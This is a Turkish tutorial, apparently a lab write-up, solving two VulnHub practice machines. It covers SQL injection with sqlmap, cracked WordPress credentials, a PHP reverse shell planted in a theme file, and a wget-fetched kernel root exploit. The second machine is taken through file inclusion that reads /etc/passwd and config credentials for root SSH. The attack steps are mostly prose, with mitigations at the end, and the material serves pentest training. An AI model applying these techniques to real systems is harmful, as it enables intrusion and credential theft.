You are on page 1of 18

Merhabalar, bu eğitim bölümümüz de zafiyet içeren makine çözümleri yapacağız.

https://www.vulnhub.com/entry/hackademic-rtb1,17/
Yukarıdaki bağlantıdan zip uzantılı dosyayı indiriyoruz.

Klasörümüzün içeriği bu şekilde, yapmamız gereken mavi tikle işaretlediğim dosyayı VMware
üzerinde açmak olacak, geri kalan kısımları sanal makinemiz halledecektir.

Bizi fedora dağıtımı ile karşıladı. Burada makineye login olmak gibi bir düşüncemiz yok.
Unutmadan sanal makine üzerinde pentest dağıtımı olarak Kali Linux kullanıyorum,
yüklediğim fedora sistemi ve Kali sistemim VMware üzerinde kurulu ve network ayarları
görselde gördüğünüz gibidir.

Her iki sistemimin de network ayarları gördüğünüz gibidir. Sistem kurulumunu bitirdik şimdi
bizi ilgilendiren kısma geçelim, senaryomuzu kuralım. Bizi aldılar ve bir sistemin olduğu
konuma geldik. Daha sonrasında Kali Linux pentest dağıtımımız ile ağa dahil olduk. Yani
bizden iç ağ sızma testi isteniyor. Hedefimiz ağ üzerinde keşif yaparak sistemleri tespit edip
sızma işlemi gerçekleştirmek. Öncelikle bulunduğumuz ağı bir tarayalım ne var ne yok.

Bulunduğum ağa arp paketleri gönderip ağ üzerinde neler var bakıyorum. Mavi tik ile
işaretlediğim adreste bir makine çalışıyor, bunu hedef olarak alıp bakalım bu host adresinde
neler dönüyor.
Hedef ip adresini nmap aracımız ile taradım ve yukarıda görüldüğü gibi servis ve versiyonlar
listelendi. 80 portunda Apache web server çalışıyor, haliyle burada bir web uygulaması
olmalı. İlgili adresimizi tarayıcı da açıp bakalım ne varmış.

Bizi yukarıdaki gibi bir web sayfası karşıladı. Şimdi ben hemen sayfanın kaynak koduna bakıp
bir şeyler yakalamaya çalışıyorum.

Evet yakaladım, web sitemiz de WordPress yüklü. Yukarıda gördüğünüz üzere target yazan
bağlantıya tıkladığım da beni bir adet postun olduğu sayfa karşıladı, ben de ilgili url adresini
alıp wpscan aracına gönderiyorum, netice de WordPress yüklü, bakalım wpscan bana ne
bilgiler verecek.
WordPress sürümünün 1.5.1.1 olduğunu söylemekte, bakın bunu da nereden yakalamış.

Şimdi WordPress sürümüne ait yayınlanmış güvenlik zafiyeti olup olmadığına bakalım. Aynı
zamanda siteyi de manuel olarak dolaşalım. Google’a girip “WordPress 1.5.1.1 exploit”
şeklinde arama yaparak ilgili exploit’e ulaşmış oldum. https://www.exploit-
db.com/exploits/1033 yani bu zafiyet bize “cat” adlı get parametresinde sql injection
olduğunu söylüyor. Şimdi sayfayı dolaşırken zaten ilgili bağlantıyı buldum ve tırnağımı attım

Bakın sql söz dizimi bozuldu ve hata üretti. Ben zafiyeti bu şekilde tespit edebileceğim gibi
temel olarak and deyimi ile de tespit edebilirim.
Bakın sayfamın gidişatında bir sorun yok. Arkaplanda sorgu şu şekle döndü SELECT * FROM
wp_categories WHERE cat_ID = 1 and 1=1 LIMIT 1
Şart olarak birinci kaydı getir ve 1=1 ise… yani haliyle sorgu mantıken doğru olduğundan
sorunsuz bir şekilde kayıt dönecek ve sayfamız çalışmasına devam edecektir, buradan da
anladığınız üzere sql sorgularına cevap alabiliyoruz. Yani sadece tırnaklamaya gerek
olmadığını anlamış olduk. Şimdi ben bu zafiyeti sqlmap adlı otomatize sql injection
gerçekleştiren script’e göndereyim, o bana ne istersem versin.

Sqlmap aracını yukarıdaki şekilde kullanıyorum ve veritabanlarını bana getir diyorum.

Ve kendisi bana veri tabanlarını listeliyor. Ben burada wordpress isminde olan veritabanını
kullanacağım ve tablolarını sqlmap aracından getirmesini isteyeceğim.
Buradan wp_users tablosu içerisindeki kolonlarda yer alan verileri isteyeceğim.

Verileri elde ettikten sonra md5 hash türüne ait kayıtları görünce kıralım mı diye soruyor,
ben de kendi wordlist dosyanla kır diyorum cevap olarak.

O da beni kırmayarak güzelce sonuçları aktarıyor. Ben buradan kullanıcıları tek tek
deniyorum ve içlerinden en yetkili olan GeorgeMiller kullanıcısı ile yoluma devam ediyorum.
Username: GeorgeMiller Password: q1w2e3 hemen tarayıcıdan /wp-login.php adresine gidip
ilgili bilgilerle giriş yapıyorum.
Panele giriş yaptıktan sonra presentation sekmesi üzerinden tema dosyalarına giderek
404.php dosyasını açıyorum ve bu dosyanın değiştirilebilir olduğunu fark ediyorum.
Buraya php reverse Shell gömeceğim, size ilgili reverse Shell bağlantısını sunuyorum.
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Bu php reverse Shell ile soket bağlantısı açarak uzaktan komut çalıştıracağız.

İlgili kodları 404.php’e atıyor ve $ip değişkeninin değerini kendi bağlantı alacağım kali
makinemin ip adresini yazıyorum. Port kısmına dokunmuyorum 1234 kalsın.
192.168.1.10/Hackademic_RTB1/wp-content/themes/starburst/404.php
Daha sonra yukarıdaki adrese gidiyorum, ha tabii aynı zamanda öncelikle dinleme işlemini de
başlatıyorum.

1234 portumu dinliyorum ve ilgili adrese gittiğim zaman bağlantıyı elde etmiş oluyorum.
Ve evet, hedef sistemin komut satırına düştüm ama gördüğünüz gibi root yetkilerinde
değilim, bu beni kesmedi benim root olmam lazım. “uname -a” komutunu yazarak sistem
bilgilerine bakıyorum.

Ve Linux kerneli üzerinde yer alan bir açıklık ile root olabilir miyim düşüncesiyle google’a
gidiyorum. https://www.exploit-db.com/exploits/15285 ilgili Local Privilege Escalation
exploitini buluyorum. Buradaki exploit bizim sürümümüz içinde geçerli.
Şimdi ilgili exploiti hedef makinemizin komut satırı üzerinden sisteme çekelim.
Burada ilgili root exploitini wget https://www.exploit-db.com/download/15285 komutu ile
çektikten sonra sırasıyla aşağıdaki işlemleri gerçekleştiriyoruz.
cp 15285 root.c komutunu girerek root.c dosyasına kopyalıyorum. Ardından C dosyasını
çalıştırılabilir dosya haline getirmek için gcc compiler ile derliyorum.
gcc root.c -o root komutunu yazarak dosyamı derliyorum.
chmod u+x root komutu ile gerekli izinleri veriyorum ve ./root yazarak artık exploitimi
çalıştırıyorum. Bu işlem sonunda hedef makineye root haklarıyla erişmiş oluyorum.
Güvenlik Önlemleri
En son sisteme girdikten sonra Linux RDS protokolündeki güvenlik açığını kullanarak sistemde
root yetkileri elde etmiş olduk. Bu zafiyet, 2.6.30 ile 2.6.36-rc8 arası çekirdek sürümlerini
etkiliyor. Bu zafiyeti önlemek için RDS protokolünü devre dışı bırakabilirsiniz.
echo "alias net-pf-21 off"> /etc/modprobe.d/disable-rds

Ve tabii ki ana zafiyetimiz olan bizi buralara kadar getiren WordPress 1.5.1.1 sürümünde yer
alan sql injection zafiyetinden kurtulmak için de tabii ki WordPress sürümünü güncel
tutmamız gerekiyor.
Merhabalar, şimdi ise yeni bir makinenin çözümünü yapacağız.
https://www.vulnhub.com/entry/billu-b0x,188/ bu adresten ilgili makinemizi indiriyoruz.
Daha sonrasında zip içerisinde yer alan ova uzantılı dosyaya tıklayarak VMware üzerine
import işlemini gerçekleştiriyoruz. Ben şimdi network konfigürasyonundan bir kesit
göstereceğim.

Network Adapter sekmesi üzerinde network bağlantımı Custom seçtikten sonra VMnet
8(NAT) olarak ayarladım. Hem hedef olan makinem üzerinde, hem de pentest işlemini
gerçekleştireceğim Kali Linux makinemde aynı ayarı uygulayarak iki makinenin de aynı
network üzerinde olmasını sağladım.
Şimdi Kali Linux makineme geçiyorum ve bulunduğum ağ üzerinde host keşfi
gerçekleştiriyorum, bunun için nmap aracını kullanacağım.
Bulunduğum ağ üzerinde nmap ile host keşfi gerçekleştirdim, bu tarama biçimine ping scan
diyoruz. Burada 192.168.127.129 numaralı makineyi hedef alacağım. Bunun için nmap ile
öncelikle hedef üzerinde hangi servislerin çalıştığına bakacağım.

Nmap ile hedef üzerinde yaptığım tarama neticesinde SSH ve http servislerinin açık olduğunu
görüyorum. Burada SSH versiyonu için uygun exploit arayışına geçiyorum ancak kayda değer
bir zafiyet bulamıyorum. Bu sebepten http üzerinden yolumuza devam edeceğiz. Ancak şunu
unutmamak gerekiyor, SSH servisi üzerinden uzak bağlantı denemesi de yapabiliriz. Şimdilik
http de çalışan Apache sunucusunu görüyorum ve tarayıcı üzerinden 192.168.127.129
adresini görüntülüyorum.
Burada karşıma bu şekilde bir arayüz geliyor. Ekranda username ve password isteyen bir
sayfa var. Bize aynı zamanda SQLi becerilerinizi sergileyin diyor. Burada ufak tefek sql
injection payloadları denesem de bir sonuç çıkmıyor.

Bir de sayfanın kaynak koduna bakacağım oradan bir sayfa veya ipucu yakalayabilir miyim
diye. Sayfanın kaynak koduna bakıyorum ancak herhangi bir ipucu, bilgi yakalayamıyorum
anlaşılan bu sayfadan bir şey elde edemeyeceğim. Şimdi ise düşündüğüm şey, web
uygulaması üzerinde dizin keşfi yaparak farklı sayfalar tespit etmek. Bunun için dirb aracını
kullanacağım.
Dirb ile dizin taraması neticesinde 200 döndüren bazı sayfalar tespit edildi bunları kontrol
ediyorum. Buradaki sayfalara tek tek bakıp işime yarar bir şey arıyorum. Test sayfasına
baktığımda ilgimi çeken bir şey var.

Burada ‘file’ adlı bir parametreden bahsediyor, herhangi bir file GET parametresi
göremiyorum, acaba arka planda bir POST ile sağlanan file parametresi var mı diye
düşünüyorum. Eğer böyle bir parametre varsa burada ilgili parametre üzerinden sayfa
çağrılıyorsa file inclusion zafiyeti varlığı söz konusu olabilir. Her ne kadar günümüzde bu
zafiyet ölme derecesine geldi desek de hala ilgili zafiyeti bırakanlar olabilir. Bunun için file
parametresine post isteği olarak passwd dosyasını okumak için istek göndereceğim. Bunu
herhangi bir non transparent Proxy imkanı sunan yazılımlarla yapabileceğim gibi CURL ile
post isteği yaparak sonucu görebilirim.
Ha ayrıca unutmadan /in adlı bir sayfa da phpinfo bilgileri yer alıyor, buradan dizin bilgisini
elde ettim.
Şu bilgilerin güzelliğine bakın, uygulamanın yüklü olduğu dizin yapısını görebiliyoruz. Aynı
zamanda ilgili /in sayfası da bu dizin altında yer alıyor. Yani web sitemizin dosyaları direkt bu
kök dizinde yer alıyor diyebiliriz. Ben file parametresine işlem yapmaya başlayayım ilk olarak.

İlgili test sayfasına curl ile post isteği gönderiyorum, file post parametresine data olarak
etc/passwd dosyasını bana getir diyorum. Bir güzel akıyor veriler. Yani buradan anlayacağınız
üzere bu sayfa da file inclusion zafiyeti var. Şimdi ben buradan dosya okuyabiliyorsam dizin
keşfinde bulduğum sayfalarında kaynak kodlarını çekebilirim. Dizin keşfinde “c” adında bir
sayfa bulmuştum.

Ama hiçbir çıktı vermiyor sayfa, benim elimde mis gibi file inclusion var ben o dosyanın
içeriğini görebilirim, zaten html içeren bir veri yok da php olabilir, bir bakalım içinden ne
çıkacak.
Bu sefer file parametresi üzerinden c.php sayfasını çekiyorum. Burada görüldüğü üzere
veritabanı bağlantısı yapılıyor. Yani bu dosyanın sırrı veritabanı bağlantısını yapmakmış.
Yaptığımız port taramasında mysql servisini göremedik, acaba bu bilgiler ile ssh bağlantısı
yapabilir miyiz?

Burada mysql bağlantısında kullanılan user ve pass bilgilerini ssh üzerinde denedim ancak
görüldüğü gibi bir şey elde edemedim. Buradan da bir sonuç çıkmadı, elimdeki dizinlerde
belli onlardan da bir şey çıkmadı, acaba phpmyadmin sayfası var mı?

Şimdi ise dirb aracını tekrar daha geniş bir wordlist ile tekrardan kullanacağım.
200 dönen sonuçlara bakarsak phpmy adında bir dosyamız var.

Gördüğünüz gibi phpmyadmin bu sayfaya yüklenmiş. Peki ben config dosyasını elde edebilir
miyim?
Bu şekilde bir istek göndererek config dosyasını okuyabildim. Burada yer alan root ve
roottoor bilgilerini kullanarak SSH üzerinden sisteme girebilir miyim diye deneme de
bulunuyorum.

root@indishell Sisteme root kullanıcısı ile ssh bağlantısı yaparak erişim sağlamış olduk.
Hedef sistemimizde de indishell login şeklinde bir giriş vardı. Bu makine çözümümüzde bu
kadar. Bu makineleri çözerken aslında sızma testlerinde uygulanan bazı adımları da işlemiş
olduk. Ağ üzerinde makineleri tespit ettik, hedef makinelerde keşif yaptık ve çeşitli bulguları
değerlendirerek sistemler üzerinde sınırları zorladık. Bu adımların hepsi bizlere çok şey
katacaktır, umarım yararlı olmuştur.

You might also like